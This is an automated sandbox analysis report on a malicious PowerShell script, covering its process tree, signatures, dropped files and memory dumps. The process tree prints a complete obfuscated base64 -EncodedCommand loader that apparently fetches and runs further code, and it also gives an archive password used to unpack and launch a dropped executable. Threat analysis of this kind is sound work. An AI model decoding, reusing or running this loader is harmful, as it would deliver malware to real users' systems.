Analysis
- geolocation tags
- user interaction
yes - max time kernel
61s - max time network
58s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260618-en - resource tags
- submitted
20/06/2026, 03:46
General
- Target letshavefunandplaysomegamesbro.ps1
- Size 8KB
- Sample260620-ebwxwset2w
- SHA256 d9eaaeb3b287dda90f2541a923dc2dc7268e64b78951306f0897f56a0ce14144
Score
8/10
Malware Config
Signatures
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Using powershell.exe command.
- Executes dropped EXE 2 IoCs
- Suspicious behavior: EnumeratesProcesses 6 IoCs
- Suspicious use of AdjustPrivilegeToken 6 IoCs
- Suspicious use of WriteProcessMemory 3 IoCs
Processes
-
C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exepowershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\letshavefunandplaysomegamesbro.ps11⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -EncodedCommand JAB0AHIAYQBjAGsAZQByAD0AWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAnAFcAMQBOADUAYwAzAFIAbABiAFMANQBPAFoAWABRAHUAVQAyAFYAeQBkAG0AbABqAFoAVgBCAHYAYQBXADUAMABUAFcARgB1AFkAVwBkAGwAYwBsADAANgBPAGwATgBsAFkAMwBWAHkAYQBYAFIANQBVAEgASgB2AGQARwA5AGoAYgAyAHcAOQBXADEATgA1AGMAMwBSAGwAYgBTADUATwBaAFgAUQB1AFUAMgBWAGoAZABYAEoAcABkAEgAbABRAGMAbQA5ADAAYgAyAE4AdgBiAEYAUgA1AGMARwBWAGQATwBqAHAAVQBiAEgATQB4AE0AagBzAGsAYgBYAEEANABQAFYAdABVAFoAWABoADAATABrAFYAdQBZADIAOQBrAGEAVwA1AG4AWABUAG8ANgBWAFYAUgBHAE8AQwA1AEgAWgBYAFIAVABkAEgASgBwAGIAbQBjAG8AVwAwAE4AdgBiAG4AWgBsAGMAbgBSAGQATwBqAHAARwBjAG0AOQB0AFEAbQBGAHoAWgBUAFkAMABVADMAUgB5AGEAVwA1AG4ASwBDAGQAaABTAEYASQB3AFkAMABoAE4ATgBrAHgANQBPAFcAcABhAFIAegBWADMAWQBqAE4ASwBNAEYAbABYAGQAMwBSAGsAVwBFADEAMQBaAFUAaABzAE4AawB3AHoAWgBIAGQATQBWADAANQAyAFkAbQA1AFMAYgBHAEoAdQBVAFgAWgBrAFcARQBKAHoAWQBqAEoARwBhADIATgA1AE8ASABsAE4AUgBFAGsAeABUAEgAcABCAE0AMAB3AHkAVABuAE4AaQBNADEAWgByAFQARgBSAEYAZQBFADUASABkAEUAeABsAFUAegBVAHoAVwBsAGQASwBkAEMAYwBwAEsAVABzAGsAWgBHAEYAMABaAFYATgAwAGMAagAwAG4AYgAxAEUAegBhADEAcAB1AFkAVQA5AEgATQBWAHAAbwBaADIAVgBCAFoAegBOAFIAUQBTAGMANwBKAEgAUgBzAGMAMABOAHYAYgBtADQAOQBTAG0AOQBwAGIAaQAxAFEAWQBYAFIAbwBJAEMAUgBsAGIAbgBZADYAVgBFAFYATgBVAEMAQQBvAEoAMgBOAG8AYwBtADkAdABaAFYAOABuAEsAeQBoAEgAWgBYAFEAdABSAEcARgAwAFoAUwBBAHQAUgBtADkAeQBiAFcARgAwAEkAQwBkADUAZQBYAGwANQBUAFUAMQBrAFoARQBoAEkAYgBXADEAegBjAHkAYwBwAEsAMQB0AFQAZABIAEoAcABiAG0AZABkAEsARQBkAGwAZABDADEAUwBZAFcANQBrAGIAMgAwAGcATABVADEAaABlAEcAbAB0AGQAVwAwAGcATwBUAGsANQBPAFQAawA1AEsAUwBrADcAVABtAFYAMwBMAFUAbAAwAFoAVwAwAGcATABVAGwAMABaAFcAMQBVAGUAWABCAGwASQBFAFIAcABjAG0AVgBqAGQARwA5AHkAZQBTAEEAdABVAEcARgAwAGEAQwBBAGsAZABHAHgAegBRADIAOQB1AGIAaQBBAHQAUgBtADkAeQBZADIAVgA4AFQAMwBWADAATABVADUAMQBiAEcAdwA3AEoASABOADUAYgBUADEASwBiADIAbAB1AEwAVgBCAGgAZABHAGcAZwBKAEgAUgBzAGMAMABOAHYAYgBtADQAZwBKADAAMQBsAFoARwBsAGgAVQBHAEYAMABZADIAaABYAGEAVwA0AHUAZQBtAGwAdwBKAHoAcwBrAGMAbQA5AHMATgBUADAAdwBPAHoARQB1AEwAagBKADgAUgBtADkAeQBSAFcARgBqAGEAQwAxAFAAWQBtAHAAbABZADMAUgA3AGEAVwBZAG8ATABXADUAdgBkAEMAQQBrAGMAbQA5AHMATgBTAGwANwBkAEgASgA1AGUAMABsAHUAZABtADkAcgBaAFMAMQBYAFoAVwBKAFMAWgBYAEYAMQBaAFgATgAwAEkAQwAxAFYAYwBtAGsAZwBKAEcAMQB3AE8AQwBBAHQAVgBYAE4AbABjAGsARgBuAFoAVwA1ADAASQBDAGQATgBiADMAcABwAGIARwB4AGgATAB6AFUAdQBNAEMAQQBvAFYAMgBsAHUAWgBHADkAMwBjAHkAQgBPAFYAQwBBAHgATQBDADQAdwBPAHkAQgBYAGEAVwA0ADIATgBEAHMAZwBlAEQAWQAwAEsAUwBCAEIAYwBIAEIAcwBaAFYAZABsAFkAawB0AHAAZABDADgAMQBNAHoAYwB1AE0AegBZAGcASwBFAHQASQBWAEUAMQBNAEwAQwBCAHMAYQBXAHQAbABJAEUAZABsAFkAMgB0AHYASwBTAEIARABhAEgASgB2AGIAVwBVAHYATQBUAEkAegBMAGoAQQB1AE0AQwA0AHcASQBGAE4AaABaAG0ARgB5AGEAUwA4ADEATQB6AGMAdQBNAHoAWQBuAEkAQwAxAFAAZABYAFIARwBhAFcAeABsAEkAQwBSAHoAZQBXADAAZwBMAFYAVgB6AFoAVQBKAGgAYwAyAGwAagBVAEcARgB5AGMAMgBsAHUAWgB5AEEAdABWAEcAbAB0AFoAVwA5ADEAZABGAE4AbABZAHkAQQAwAE0AegBnADcAYQBXAFkAbwBWAEcAVgB6AGQAQwAxAFEAWQBYAFIAbwBJAEMAUgB6AGUAVwAwAHAAZQB5AFIAeQBiADIAdwAxAFAAVABGADkAWgBXAHgAegBaAFgAdABUAGQARwBGAHkAZABDADEAVABiAEcAVgBsAGMAQwBBAHQAVQAyAFYAagBiADIANQBrAGMAeQBBADAAZgBYADEAagBZAFgAUgBqAGEASAB0AFQAZABHAEYAeQBkAEMAMQBUAGIARwBWAGwAYwBDAEEAdABVADIAVgBqAGIAMgA1AGsAYwB5AEEAMABmAFgAMQA5AE8AMgBsAG0ASwBDADEAdQBiADMAUQBnAEsARgBSAGwAYwAzAFEAdABVAEcARgAwAGEAQwBBAGsAYwAzAGwAdABLAFMAbAA3AFoAWABoAHAAZABIADAANwBKAEgATgBwAFoAegAxAEsAYgAyAGwAdQBMAFYAQgBoAGQARwBnAGcASgBHAFYAdQBkAGoAcABVAFIAVQAxAFEASQBDAGgAYgBVADMAbAB6AGQARwBWAHQATABrAGwAUABMAGwAQgBoAGQARwBoAGQATwBqAHAASABaAFgAUgBTAFkAVwA1AGsAYgAyADEARwBhAFcAeABsAFQAbQBGAHQAWgBTAGcAcABLAFQAdAB0AGEAMgBSAHAAYwBpAEEAawBjADIAbABuAEkAQwAxAEcAYgAzAEoAagBaAFgAeABQAGQAWABRAHQAVABuAFYAcwBiAEQAcwBrAFoAVwA1AGsAUABTAFIAdQBkAFcAeABzAE8AMgBaAHYAYwBtAFYAaABZADIAZwBvAEoASABOAGgAYgBIAFEAZwBhAFcANABnAFEAQwBoAEsAYgAyAGwAdQBMAFYAQgBoAGQARwBnAGcASgBHAFYAdQBkAGoAcABNAFQAMABOAEIAVABFAEYAUQBVAEUAUgBCAFYARQBFAGcASgAxAEIAeQBiADIAZAB5AFkAVwAxAHoAWABEAGMAdABXAG0AbAB3AFgARABkADYATABtAFYANABaAFMAYwBzAFMAbQA5AHAAYgBpADEAUQBZAFgAUgBvAEkAQwBSAGwAYgBuAFkANgBVAEgASgB2AFoAMwBKAGgAYgBWAGMAMgBOAEQATQB5AEkAQwBjADMATABWAHAAcABjAEYAdwAzAGUAaQA1AGwAZQBHAFUAbgBMAEUAcAB2AGEAVwA0AHQAVQBHAEYAMABhAEMAQQBrAFoAVwA1ADIATwBsAEIAeQBiADIAZAB5AFkAVwAxAEcAYQBXAHgAbABjAHkAQQBuAE4AeQAxAGEAYQBYAEIAYwBOADMAbwB1AFoAWABoAGwASgB5AGsAcABlADIAbABtAEsARgBSAGwAYwAzAFEAdABVAEcARgAwAGEAQwBBAGsAYwAyAEYAcwBkAEMAbAA3AEoARwBWAHUAWgBEADAAawBjADIARgBzAGQARAB0AGkAYwBtAFYAaABhADMAMQA5AE8AMgBsAG0ASwBDADEAdQBiADMAUQBnAEoARwBWAHUAWgBDAGwANwBKAEgAQgBoAGMAMwBNADkAUwBtADkAcABiAGkAMQBRAFkAWABSAG8ASQBDAFIAbABiAG4AWQA2AFYARQBWAE4AVQBDAEEAbwBXADAAbABQAEwAbABCAGgAZABHAGgAZABPAGoAcABIAFoAWABSAFMAWQBXADUAawBiADIAMQBHAGEAVwB4AGwAVABtAEYAdABaAFMAZwBwAEsAeQBjAHUAWgBYAGgAbABKAHkAawA3AEoASABSAHYAYQB6ADAAawBaAG0ARgBzAGMAMgBVADcAWgBtADkAeQBaAFcARgBqAGEAQwBnAGsAYwAzAFIAaABaADIAVgBRAFkAWABSAG8ATgB5AEIAcABiAGkAQgBBAEsAQwBkAG8AZABIAFIAdwBjAHoAbwB2AEwAMgBOAGsAYgBuAEIAdgBjAG4AUgBoAGIAQwAxADEAYwB5ADUANABlAFgAbwB2AE4AMwBvAHUAWgBYAGgAbABKAHkAawBwAGUAMwBSAHkAZQBYAHQASgBiAG4AWgB2AGEAMgBVAHQAVgAyAFYAaQBVAG0AVgB4AGQAVwBWAHoAZABDAEEAdABWAFgASgBwAEkAQwBSAHoAZABHAEYAbgBaAFYAQgBoAGQARwBnADMASQBDADEAUABkAFgAUgBHAGEAVwB4AGwASQBDAFIAdwBZAFgATgB6AEkAQwAxAFYAYwAyAFYAQwBZAFgATgBwAFkAMQBCAGgAYwBuAE4AcABiAG0AYwBnAEwAVgBSAHAAYgBXAFYAdgBkAFgAUgBUAFoAVwBNAGcATgBUAFkAZwBMAFUAVgB5AGMAbQA5AHkAUQBXAE4AMABhAFcAOQB1AEkARgBOADAAYgAzAEEANwBhAFcAWQBvAEsARgBSAGwAYwAzAFEAdABVAEcARgAwAGEAQwBBAGsAYwBHAEYAegBjAHkAawBnAEwAVwBGAHUAWgBDAEEAbwBLAEUAZABsAGQAQwAxAEoAZABHAFYAdABJAEMAUgB3AFkAWABOAHoASwBTADUATQBaAFcANQBuAGQARwBnAGcATABXAGQAMABJAEQARQB3AE0ARABBAHcATQBDAGsAcABlAHkAUgAwAGIAMgBzADkASgBIAFIAeQBkAFcAVQA3AFkAbgBKAGwAWQBXAHQAOQBmAFcATgBoAGQARwBOAG8AZQAzADEAOQBPADIAbABtAEsAQwBSADAAYgAyAHMAcABlAHkAUgBsAGIAbQBRADkASgBIAEIAaABjADMATgA5AGYAVABzAGsAZAAyAEYAMABZADIAaABsAGMAagBnADkAUQBDAGcAbgBlAEMAYwBzAEoAeQAxADUASgB5AGsANwBhAFcAWQBvAEoARwBSAGgAZABHAFYAVABkAEgASQBnAEwAVwA1AGwASQBDAGMAbgBLAFgAcwBrAGQAMgBGADAAWQAyAGgAbABjAGoAZwByAFAAUwBnAG4ATABYAEEAbgBLAHkAUgBrAFkAWABSAGwAVQAzAFIAeQBLAFgAMAA3AEoASABkAGgAZABHAE4AbwBaAFgASQA0AEsAegAwAG8ASgB5ADEAdgBKAHkAcwBrAGMAMgBsAG4ASwBUAHMAawBkADIARgAwAFkAMgBoAGwAYwBqAGcAcgBQAFMAUgB6AGUAVwAwADcASgBHAFYANABkAEgASgBoAFkAMwBSAFEAWQBYAFIAbwBOAEQAMAB3AE8AMgBsAG0ASwBDAFIAbABiAG0AUQBwAGUAeQBZAGcASgBHAFYAdQBaAEMAQgBBAEsAQwBSADMAWQBYAFIAagBhAEcAVgB5AE8AQwBsADgAVAAzAFYAMABMAFUANQAxAGIARwB3ADcAYQBXAFkAbwBLAEUAZABsAGQAQwAxAEQAYQBHAGwAcwBaAEUAbAAwAFoAVwAwAGcATABWAEIAaABkAEcAZwBnAEoASABOAHAAWgB5AEEAdABSAG0AOQB5AFkAMgBVAGcATABVAFYAeQBjAG0AOQB5AFEAVwBOADAAYQBXADkAdQBJAEYATgBwAGIARwBWAHUAZABHAHgANQBRADIAOQB1AGQARwBsAHUAZABXAFYAOABUAFcAVgBoAGMAMwBWAHkAWgBTADEAUABZAG0AcABsAFkAMwBRAHAATABrAE4AdgBkAFcANQAwAEkAQwAxAG4AZABDAEEAdwBLAFgAcwBrAFoAWABoADAAYwBtAEYAagBkAEYAQgBoAGQARwBnADAAUABUAEYAOQBmAFQAdABwAFoAaQBnAHQAYgBtADkAMABJAEMAUgBsAGUASABSAHkAWQBXAE4AMABVAEcARgAwAGEARABRAHAAZQAzAFIAeQBlAFgAdABTAFoAVwAxAHYAZABtAFUAdABTAFgAUgBsAGIAUwBBAHQAVABHAGwAMABaAFgASgBoAGIARgBCAGgAZABHAGcAZwBKAEgATgA1AGIAUwBBAHQAUgBtADkAeQBZADIAVQBnAEwAVQBWAHkAYwBtADkAeQBRAFcATgAwAGEAVwA5AHUASQBGAE4AcABiAEcAVgB1AGQARwB4ADUAUQAyADkAdQBkAEcAbAB1AGQAVwBWADkAWQAyAEYAMABZADIAaAA3AGYAVAB0AGwAZQBHAGwAMABmAFQAcwBrAGEAVwA1AHoAZABHAEYAcwBiAEUAeAB2AFoAegBRADkAUgAyAFYAMABMAFUATgBvAGEAVwB4AGsAUwBYAFIAbABiAFMAQQB0AFUARwBGADAAYQBDAEEAawBjADIAbABuAEkAQwAxAEcAYQBXAHgAMABaAFgASQBnAEsAaQA1AGwAZQBHAFUAZwBMAFYASgBsAFkAMwBWAHkAYwAyAFUAZwBMAFUAWgBwAGIARwBWADgAVQAyAFYAcwBaAFcATgAwAEwAVQA5AGkAYQBtAFYAagBkAEMAQQB0AFIAbQBsAHkAYwAzAFEAZwBNAFQAcwBrAFoAVwA1AGoAYgAyAFIAbABQAFUAZABsAGQAQwAxAEQAYQBHAGwAcwBaAEUAbAAwAFoAVwAwAGcATABWAEIAaABkAEcAZwBnAEoASABOAHAAWgB5AEEAdABSAG0AbABzAGQARwBWAHkASQBDAG8AdQBiAFgATgBwAEkAQwAxAFMAWgBXAE4AMQBjAG4ATgBsAEkAQwAxAEcAYQBXAHgAbABmAEYATgBsAGIARwBWAGoAZABDADEAUABZAG0AcABsAFkAMwBRAGcATABVAFoAcABjAG4ATgAwAEkARABFADcASgBHAHgAdgBZADIAdABHAGEAVwB4AGwATgBUADAAawBiAG4AVgBzAGIARAB0AHAAWgBpAGcAawBhAFcANQB6AGQARwBGAHMAYgBFAHgAdgBaAHoAUQBwAGUAeQBSAHMAYgAyAE4AcgBSAG0AbABzAFoAVABVADkASgBHAGwAdQBjADMAUgBoAGIARwB4AE0AYgAyAGMAMABMAGsAWgAxAGIARwB4AE8AWQBXADEAbABPAHkAUgAwAFoAWABoADAAUABTAFIAcABiAG4ATgAwAFkAVwB4AHMAVABHADkAbgBOAEMANQBFAGEAWABKAGwAWQAzAFIAdgBjAG4AawB1AFIAbgBWAHMAYgBFADUAaABiAFcAVgA5AFoAVwB4AHoAWgBXAGwAbQBLAEMAUgBsAGIAbQBOAHYAWgBHAFUAcABlAHkAUgBzAGIAMgBOAHIAUgBtAGwAcwBaAFQAVQA5AEoARwBWAHUAWQAyADkAawBaAFMANQBHAGQAVwB4AHMAVABtAEYAdABaAFQAcwBrAGQARwBWADQAZABEADAAawBaAFcANQBqAGIAMgBSAGwATABrAFIAcABjAG0AVgBqAGQARwA5AHkAZQBTADUARwBkAFcAeABzAFQAbQBGAHQAWgBYADAANwBhAFcAWQBvAEoARwB4AHYAWQAyAHQARwBhAFcAeABsAE4AUwBsADcAYQBXAFkAbwBKAEgAUgBsAGUASABRAHAAZQAxAE4AMABZAFgASgAwAEwAVgBOAHMAWgBXAFYAdwBJAEMAMQBUAFoAVwBOAHYAYgBtAFIAegBJAEQAWQA3AGQASABKADUAZQAwAGwAdQBkAG0AOQByAFoAUwAxAEoAZABHAFYAdABJAEMAMQBRAFkAWABSAG8ASQBDAFIAcwBiADIATgByAFIAbQBsAHMAWgBUAFUAZwBMAFUAVgB5AGMAbQA5AHkAUQBXAE4AMABhAFcAOQB1AEkARgBOADAAYgAzAEIAOQBZADIARgAwAFkAMgBoADcAZABIAEoANQBlADEATgAwAFkAWABKADAATABWAEIAeQBiADIATgBsAGMAMwBNAGcATABVAFoAcABiAEcAVgBRAFkAWABSAG8ASQBDAFIAcwBiADIATgByAFIAbQBsAHMAWgBUAFUAZwBMAFYAZAB2AGMAbQB0AHAAYgBtAGQARQBhAFgASgBsAFkAMwBSAHYAYwBuAGsAZwBKAEgAUgBsAGUASABRAGcATABWAGQAcABiAG0AUgB2AGQAMQBOADAAZQBXAHgAbABJAEUAaABwAFoARwBSAGwAYgBuADEAagBZAFgAUgBqAGEASAB0ADAAYwBuAGwANwBKAGkAQQBrAGIARwA5AGoAYQAwAFoAcABiAEcAVQAxAGYAVwBOAGgAZABHAE4AbwBlADMAMQA5AGYAWAAxAGwAYgBIAE4AbABlADEATgAwAFkAWABKADAATABWAE4AcwBaAFcAVgB3AEkAQwAxAFQAWgBXAE4AdgBiAG0AUgB6AEkARABZADcAZABIAEoANQBlADEATgAwAFkAWABKADAATABWAEIAeQBiADIATgBsAGMAMwBNAGcATABVAFoAcABiAEcAVgBRAFkAWABSAG8ASQBDAFIAcwBiADIATgByAFIAbQBsAHMAWgBUAFUAZwBMAFYAZABwAGIAbQBSAHYAZAAxAE4AMABlAFcAeABsAEkARQBoAHAAWgBHAFIAbABiAGkAQQB0AFUARwBGAHoAYwAxAFIAbwBjAG4AVQBnAEwAVQBWAHkAYwBtADkAeQBRAFcATgAwAGEAVwA5AHUASQBGAE4AMABiADMAQgA4AFQAMwBWADAATABVADUAMQBiAEcAeAA5AFkAMgBGADAAWQAyAGgANwBkAEgASgA1AGUAMQBOADAAWQBYAEoAMABMAFYAQgB5AGIAMgBOAGwAYwAzAE0AZwBMAFUAWgBwAGIARwBWAFEAWQBYAFIAbwBJAEMAUgBzAGIAMgBOAHIAUgBtAGwAcwBaAFQAVQBnAEwAVgBkAHAAYgBtAFIAdgBkADEATgAwAGUAVwB4AGwASQBFAGgAcABaAEcAUgBsAGIAbgAxAGoAWQBYAFIAagBhAEgAdAAwAGMAbgBsADcASgBpAEEAawBiAEcAOQBqAGEAMABaAHAAYgBHAFUAMQBmAFcATgBoAGQARwBOAG8AZQAzADEAOQBmAFgAMQA5AE8AMwBSAHkAZQBYAHQAUwBaAFcAMQB2AGQAbQBVAHQAUwBYAFIAbABiAFMAQQB0AFQARwBsADAAWgBYAEoAaABiAEYAQgBoAGQARwBnAGcASgBIAE4ANQBiAFMAQQB0AFIAbQA5AHkAWQAyAFUAZwBMAFUAVgB5AGMAbQA5AHkAUQBXAE4AMABhAFcAOQB1AEkARgBOAHAAYgBHAFYAdQBkAEcAeAA1AFEAMgA5AHUAZABHAGwAdQBkAFcAVgA5AFkAMgBGADAAWQAyAGgANwBmAFEAPQA9ACcAKQA7ACQAYgBvAGQAeQAzAD0ALQBqAG8AaQBuACAAKABbAGMAaABhAHIAWwBdAF0AJAB0AHIAYQBjAGsAZQByACkAOwBpAGUAeAAgACQAYgBvAGQAeQAzAA==2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\y0d4kpdl.kjh.exe"C:\Users\Admin\AppData\Local\Temp\y0d4kpdl.kjh.exe" x -y -poQ3kZnaOG1ZhgeAg3QA -oC:\Users\Admin\AppData\Local\Temp\gnzzfw1b.id4 C:\Users\Admin\AppData\Local\Temp\chrome_20260619234707520556\MediaPatchWin.zip3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\gnzzfw1b.id4\CSwdsa.exe"C:\Users\Admin\AppData\Local\Temp\gnzzfw1b.id4\CSwdsa.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
__PSScriptPolicyTest_vtdi0syf.nge.ps1
MediaPatchWin.zip
CSwdsa.exe
y0d4kpdl.kjh.exe
memory/1796-36-0x00007FFF9B5A0000-0x00007FFF9BF44000-memory.dmp
memory/1796-32-0x00007FFF9B5A0000-0x00007FFF9BF44000-memory.dmp
memory/1796-54-0x00007FFF9B5A0000-0x00007FFF9BF44000-memory.dmp
memory/1796-41-0x00007FFF9B5A0000-0x00007FFF9BF44000-memory.dmp
memory/1796-39-0x00007FFF9B5A0000-0x00007FFF9BF44000-memory.dmp
memory/1796-16-0x00007FFF9B5A0000-0x00007FFF9BF44000-memory.dmp
memory/1796-17-0x00007FFF9B5A0000-0x00007FFF9BF44000-memory.dmp
memory/1796-38-0x00007FFF9B5A0000-0x00007FFF9BF44000-memory.dmp
memory/1796-25-0x00007FFF9B5A0000-0x00007FFF9BF44000-memory.dmp
memory/1796-26-0x00007FFF9B5A0000-0x00007FFF9BF44000-memory.dmp
memory/1796-27-0x00007FFF9B5A0000-0x00007FFF9BF44000-memory.dmp
memory/1796-28-0x00007FFF9B5A0000-0x00007FFF9BF44000-memory.dmp
memory/1796-29-0x00007FFF9B5A0000-0x00007FFF9BF44000-memory.dmp
memory/1796-30-0x00007FFF9B5A0000-0x00007FFF9BF44000-memory.dmp
memory/1796-31-0x00007FFF9B5A0000-0x00007FFF9BF44000-memory.dmp
memory/1796-37-0x00007FFF9B5A0000-0x00007FFF9BF44000-memory.dmp
memory/1796-33-0x00007FFF9B5A0000-0x00007FFF9BF44000-memory.dmp
memory/1796-34-0x00007FFF9B5A0000-0x00007FFF9BF44000-memory.dmp
memory/1796-35-0x00007FFF9B5A0000-0x00007FFF9BF44000-memory.dmp
memory/5064-53-0x0000000140000000-0x0000000142F43000-memory.dmp
memory/5532-0-0x00007FFF9B72F000-0x00007FFF9B730000-memory.dmp
memory/5532-11-0x00007FFF9B5A0000-0x00007FFF9BF44000-memory.dmp
memory/5532-10-0x00007FFF9B5A0000-0x00007FFF9BF44000-memory.dmp
memory/5532-15-0x00007FFF9B5A0000-0x00007FFF9BF44000-memory.dmp
memory/5532-13-0x00007FFF9B5A0000-0x00007FFF9BF44000-memory.dmp
memory/5532-9-0x00007FFF9B5A0000-0x00007FFF9BF44000-memory.dmp
memory/5532-6-0x000001CA4D580000-0x000001CA4D5A2000-memory.dmp
memory/5532-7-0x00007FFF9B5A0000-0x00007FFF9BF44000-memory.dmp
memory/5532-12-0x00007FFF9B5A0000-0x00007FFF9BF44000-memory.dmp